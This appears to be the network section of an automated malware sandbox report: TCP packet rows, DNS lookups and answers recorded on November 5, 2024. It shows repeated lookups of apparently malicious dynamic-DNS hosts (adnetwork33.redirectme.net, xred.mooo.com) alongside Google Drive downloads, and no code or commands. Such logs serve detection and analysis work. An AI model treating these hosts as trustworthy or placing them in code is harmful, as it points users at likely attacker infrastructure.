Nov 5, 2024 22:45:06.276535988 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.276542902 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.276580095 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.278357983 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.278373003 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.278424978 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.278430939 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.278466940 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.302226067 CET	50134	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.302251101 CET	443	50134	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.390430927 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.390455961 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.390494108 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.390502930 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.390515089 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.390543938 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.392097950 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.392122030 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.392158985 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.392164946 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.392188072 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.392200947 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.393543005 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.393563032 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.393599987 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.393605947 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.393630981 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.393645048 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.395435095 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.395451069 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.395484924 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.395490885 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.395517111 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.395536900 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.396437883 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.396451950 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.396481037 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.396486044 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.396509886 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.396541119 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.398102045 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.398123026 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.398168087 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.398175001 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.398212910 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.510127068 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.510143042 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.510205030 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.510214090 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.510251999 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.511560917 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.511574030 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.511629105 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.511635065 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.511672974 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.513267994 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.513283014 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.513326883 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.513333082 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.513370037 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.515053988 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.515068054 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.515117884 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.515122890 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.515160084 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.515985012 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.516005039 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.516046047 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.516052008 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.516087055 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.555505037 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.555521011 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.555656910 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.555664062 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.555720091 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.629348993 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.629365921 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.629542112 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.629551888 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.629590988 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.630917072 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.630930901 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.630996943 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.631004095 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.631047964 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.631880999 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.631895065 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.631944895 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.631951094 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.631990910 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.633909941 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.633927107 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.633994102 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.634000063 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.634036064 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.634707928 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.634721994 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.634776115 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.634783030 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.634824991 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.674483061 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.674503088 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.674573898 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.674582958 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.674624920 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.748961926 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.748980045 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.749064922 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.749082088 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.749123096 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.749921083 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.749934912 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.750000954 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.750006914 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.750046968 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.751449108 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.751461983 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.751516104 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.751523018 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.751562119 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.752381086 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.752398968 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.752453089 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.752459049 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.752500057 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.753500938 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.753515005 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.753572941 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.753580093 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.753618002 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.755146980 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.755162954 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.755245924 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.755251884 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.755290031 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.868175030 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.868196011 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.868241072 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.868251085 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.868274927 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.868300915 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.869489908 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.869503975 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.869566917 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.869573116 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.869612932 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.869904995 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.869946003 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.869963884 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.869970083 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.869996071 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.870013952 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.870127916 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.870141029 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.870148897 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.870153904 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:10.800189018 CET	50136	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:10.800213099 CET	443	50136	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:10.800405979 CET	50136	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:10.800637960 CET	50136	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:10.800649881 CET	443	50136	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:11.572587967 CET	443	50136	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:11.573177099 CET	50136	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:11.573193073 CET	443	50136	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:11.574094057 CET	50136	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:11.574100018 CET	443	50136	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:11.709176064 CET	443	50136	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:11.709197998 CET	443	50136	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:11.709259987 CET	443	50136	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:11.709302902 CET	50136	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:11.709357977 CET	50136	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:11.709661961 CET	50136	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:11.709673882 CET	443	50136	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:11.709683895 CET	50136	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:11.709688902 CET	443	50136	13.107.246.45	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 5, 2024 22:43:54.841078997 CET	57699	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:43:54.852559090 CET	53	57699	1.1.1.1	192.168.2.5
Nov 5, 2024 22:43:59.865852118 CET	56706	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:43:59.876039982 CET	53	56706	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:00.339829922 CET	56765	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:00.348048925 CET	53	56765	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:01.073729038 CET	51473	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:01.081001997 CET	53	51473	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:01.083753109 CET	53433	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:01.091195107 CET	53	53433	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:01.632499933 CET	57331	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:01.639713049 CET	53	57331	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:04.923208952 CET	57209	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:04.932894945 CET	53	57209	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:05.664264917 CET	63783	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:05.671742916 CET	53	63783	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:09.945199013 CET	51640	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:09.954243898 CET	53	51640	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:11.459969044 CET	63666	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:11.587677002 CET	53	63666	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:14.959268093 CET	63839	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:14.967933893 CET	53	63839	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:16.270263910 CET	58378	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:16.278417110 CET	53	58378	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:19.987077951 CET	61762	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:19.996269941 CET	53	61762	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:21.928704023 CET	57194	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:21.937120914 CET	53	57194	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:25.016211987 CET	58657	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:25.025660992 CET	53	58657	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:26.850791931 CET	55870	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:26.965305090 CET	53	55870	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:30.037354946 CET	54441	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:30.046165943 CET	53	54441	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:32.647814989 CET	65273	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:32.654479027 CET	53	65273	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:35.052707911 CET	56951	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:35.065197945 CET	53	56951	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:40.085110903 CET	53651	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:40.094836950 CET	53	53651	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:45.099868059 CET	59652	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:45.108338118 CET	53	59652	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:50.115194082 CET	57063	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:50.125597954 CET	53	57063	1.1.1.1	192.168.2.5
Nov 5, 2024 22:44:55.132348061 CET	50390	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:44:55.141144037 CET	53	50390	1.1.1.1	192.168.2.5
Nov 5, 2024 22:45:00.146635056 CET	52397	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:45:00.154953957 CET	53	52397	1.1.1.1	192.168.2.5
Nov 5, 2024 22:45:05.162262917 CET	61667	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:45:05.172972918 CET	53	61667	1.1.1.1	192.168.2.5
Nov 5, 2024 22:45:10.179760933 CET	49404	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:45:10.187931061 CET	53	49404	1.1.1.1	192.168.2.5
Nov 5, 2024 22:45:15.193600893 CET	51833	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:45:15.200865984 CET	53	51833	1.1.1.1	192.168.2.5
Nov 5, 2024 22:45:20.209172010 CET	51762	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:45:20.219168901 CET	53	51762	1.1.1.1	192.168.2.5
Nov 5, 2024 22:45:25.226413012 CET	59903	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:45:25.236213923 CET	53	59903	1.1.1.1	192.168.2.5
Nov 5, 2024 22:45:30.240577936 CET	61081	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:45:30.249811888 CET	53	61081	1.1.1.1	192.168.2.5
Nov 5, 2024 22:45:35.256366014 CET	52553	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:45:35.269216061 CET	53	52553	1.1.1.1	192.168.2.5
Nov 5, 2024 22:45:40.273463964 CET	54203	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:45:40.282375097 CET	53	54203	1.1.1.1	192.168.2.5
Nov 5, 2024 22:45:45.287560940 CET	60717	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:45:45.299763918 CET	53	60717	1.1.1.1	192.168.2.5
Nov 5, 2024 22:45:50.303102970 CET	63004	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:45:50.313568115 CET	53	63004	1.1.1.1	192.168.2.5
Nov 5, 2024 22:45:55.320272923 CET	50564	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:45:55.329916954 CET	53	50564	1.1.1.1	192.168.2.5
Nov 5, 2024 22:46:00.334517956 CET	65311	53	192.168.2.5	1.1.1.1
Nov 5, 2024 22:46:00.341589928 CET	53	65311	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 5, 2024 22:43:54.841078997 CET	192.168.2.5	1.1.1.1	0x178d	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:43:59.865852118 CET	192.168.2.5	1.1.1.1	0x47e3	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:00.339829922 CET	192.168.2.5	1.1.1.1	0x9b47	Standard query (0)	docs.google.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:01.073729038 CET	192.168.2.5	1.1.1.1	0xb0f	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:01.083753109 CET	192.168.2.5	1.1.1.1	0x8d9d	Standard query (0)	freedns.afraid.org	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:01.632499933 CET	192.168.2.5	1.1.1.1	0x165	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:04.923208952 CET	192.168.2.5	1.1.1.1	0x85ef	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:05.664264917 CET	192.168.2.5	1.1.1.1	0x9976	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:09.945199013 CET	192.168.2.5	1.1.1.1	0xdc5e	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:11.459969044 CET	192.168.2.5	1.1.1.1	0x45b7	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:14.959268093 CET	192.168.2.5	1.1.1.1	0xac8a	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:16.270263910 CET	192.168.2.5	1.1.1.1	0xa43f	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:19.987077951 CET	192.168.2.5	1.1.1.1	0xb1c0	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:21.928704023 CET	192.168.2.5	1.1.1.1	0xcdc0	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:25.016211987 CET	192.168.2.5	1.1.1.1	0x8c7c	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:26.850791931 CET	192.168.2.5	1.1.1.1	0x632c	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:30.037354946 CET	192.168.2.5	1.1.1.1	0x2be1	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:32.647814989 CET	192.168.2.5	1.1.1.1	0x9e78	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:35.052707911 CET	192.168.2.5	1.1.1.1	0xbd65	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:40.085110903 CET	192.168.2.5	1.1.1.1	0xa5c8	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:45.099868059 CET	192.168.2.5	1.1.1.1	0x430b	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:50.115194082 CET	192.168.2.5	1.1.1.1	0x2c7d	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:55.132348061 CET	192.168.2.5	1.1.1.1	0x2937	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:45:00.146635056 CET	192.168.2.5	1.1.1.1	0x1e1e	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:45:05.162262917 CET	192.168.2.5	1.1.1.1	0x6a1d	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:45:10.179760933 CET	192.168.2.5	1.1.1.1	0xba51	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:45:15.193600893 CET	192.168.2.5	1.1.1.1	0xca8c	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:45:20.209172010 CET	192.168.2.5	1.1.1.1	0x3dcc	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:45:25.226413012 CET	192.168.2.5	1.1.1.1	0x993b	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:45:30.240577936 CET	192.168.2.5	1.1.1.1	0x55eb	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:45:35.256366014 CET	192.168.2.5	1.1.1.1	0x4cc6	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:45:40.273463964 CET	192.168.2.5	1.1.1.1	0xc604	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:45:45.287560940 CET	192.168.2.5	1.1.1.1	0x9869	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:45:50.303102970 CET	192.168.2.5	1.1.1.1	0x687b	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:45:55.320272923 CET	192.168.2.5	1.1.1.1	0x2772	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:46:00.334517956 CET	192.168.2.5	1.1.1.1	0xa389	Standard query (0)	adnetwork33.redirectme.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 5, 2024 22:44:00.348048925 CET	1.1.1.1	192.168.2.5	0x9b47	No error (0)	docs.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:01.081001997 CET	1.1.1.1	192.168.2.5	0xb0f	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:01.091195107 CET	1.1.1.1	192.168.2.5	0x8d9d	No error (0)	freedns.afraid.org		69.42.215.252	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:01.639713049 CET	1.1.1.1	192.168.2.5	0x165	No error (0)	drive.usercontent.google.com		142.250.186.65	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:05.671742916 CET	1.1.1.1	192.168.2.5	0x9976	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:11.587677002 CET	1.1.1.1	192.168.2.5	0x45b7	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:15.082669020 CET	1.1.1.1	192.168.2.5	0xdfce	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 22:44:15.082669020 CET	1.1.1.1	192.168.2.5	0xdfce	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:16.278417110 CET	1.1.1.1	192.168.2.5	0xa43f	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:21.937120914 CET	1.1.1.1	192.168.2.5	0xcdc0	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
